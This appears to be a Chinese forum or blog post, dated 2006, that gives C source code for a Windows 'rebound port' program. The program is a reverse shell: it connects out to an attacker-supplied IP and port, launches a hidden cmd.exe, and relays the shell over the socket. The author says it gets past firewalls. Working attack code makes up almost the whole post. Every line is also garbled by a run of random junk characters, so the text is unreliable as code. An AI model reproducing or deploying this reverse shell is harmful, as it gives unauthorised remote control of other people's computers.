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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 s]r"-^eS3  
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/* ============================== !_cT_ WHty  
Rebound port in Windows NT mIZ#uW  
By wind,2006/7 dQt*/]{q  
===============================*/ LRv-q{jP;  
#include o=2y`Eq  
#include !G#3jh:kiY  
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#pragma comment(lib,"wsock32.lib") }9Z?UtS  
^6ZA2-f/<8  
void OutputShell(); v>$GVCY  
SOCKET sClient; EpCUL@+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Mnaoh:z  
SN'LUwaMp!  
void main(int argc,char **argv) 2`l$uEI3oJ  
{ F#Oqa^$(  
WSADATA stWsaData; 1HBch]J  
int nRet; '@Y@H,  
SOCKADDR_IN stSaiClient,stSaiServer; XWbe|K!e  
/cr.}D2O  
if(argc != 3) }{S W~yW  
{ Mx-,:a9}  
printf("Useage:\n\rRebound DestIP DestPort\n"); Vcl"qz@Fj  
return; -[x^z5Ee`  
} _'dsEF  
Ne.W-,X^cL  
WSAStartup(MAKEWORD(2,2),&stWsaData); }yU,_:  
/"Om-DK%  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bI=\n)sEz  
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stSaiClient.sin_family = AF_INET; -rlxxLT+  
stSaiClient.sin_port = htons(0); z$`=7 afp  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s&M6DFlA  
HlY4%M5q/  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >0i?}  
{ o_EXbS]C  
printf("Bind Socket Failed!\n"); } CJQC  
return; q0w5ADd  
} O.1Z3~r-N  
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stSaiServer.sin_family = AF_INET; ?4_^}B9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |jaUVE_2[  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &|26x >  
^C@uP9g  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) L$@^EENS  
{ HH2*12e  
printf("Connect Error!"); >wM%|j'  
return; SA{A E9y  
} oyJ/Oe {  
OutputShell(); Cfb/f]*M  
} t[F tIj6  
vBQ5-00YY=  
void OutputShell() >3X!c"#l  
{ +*d,non6v  
char szBuff[1024]; pH?VM&x  
SECURITY_ATTRIBUTES stSecurityAttributes; ?Gj$$IAe  
OSVERSIONINFO stOsversionInfo; 3b{8c8N^  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @=b0>^\m  
STARTUPINFO stStartupInfo; As1Er[>  
char *szShell; aM3%Mx?w  
PROCESS_INFORMATION stProcessInformation; )AqM?FE4R  
unsigned long lBytesRead; OtF{=7  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yK0Q,   
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D_9&=a a'  
stSecurityAttributes.lpSecurityDescriptor = 0; pR&cdO RsP  
stSecurityAttributes.bInheritHandle = TRUE; 3. Qf^p  
<Ky\ ^  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C%"h1zWE:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <k5FlvE2  
$ZXy&?4  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _W]2~9  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .?_wcp=  
stStartupInfo.wShowWindow = SW_HIDE; N*lq)@smq  
stStartupInfo.hStdInput = hReadPipe; #2I[F  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s>"=6gb  
2sy{  
GetVersionEx(&stOsversionInfo); vP3Fb;  
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switch(stOsversionInfo.dwPlatformId) Cr4shdN34  
{ {mw,U[C  
case 1: /,/T{V[  
szShell = "command.com"; @o44b!i  
break; r1-?mMSU&  
default: p2!x8`IB*  
szShell = "cmd.exe"; 7l7eUy/z  
break; JQsS=m7Et  
} BYVp~!u  
ZHICpL  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xh @H@Q\  
?9v!UT&#  
send(sClient,szMsg,77,0); zScV 9,H1  
while(1) h^~eTi;c]Q  
{ ~0|~Fg  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); k^]+I% ?Q  
if(lBytesRead) Fmt5"3B  
{ _xAdvr' W  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @p|[7'  
send(sClient,szBuff,lBytesRead,0); l8GziM{lp  
} ^P:9iu)+]~  
else `\q4z-<-  
{ j"_V+)SD  
lBytesRead=recv(sClient,szBuff,1024,0); Rr4r[g#  
if(lBytesRead<=0) break; vV#Jl) A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z=R>7~H  
} (~}yt.7K  
} 20 zIO.&o  
zBB4lC{q  
return; "KW\:uc /  
}
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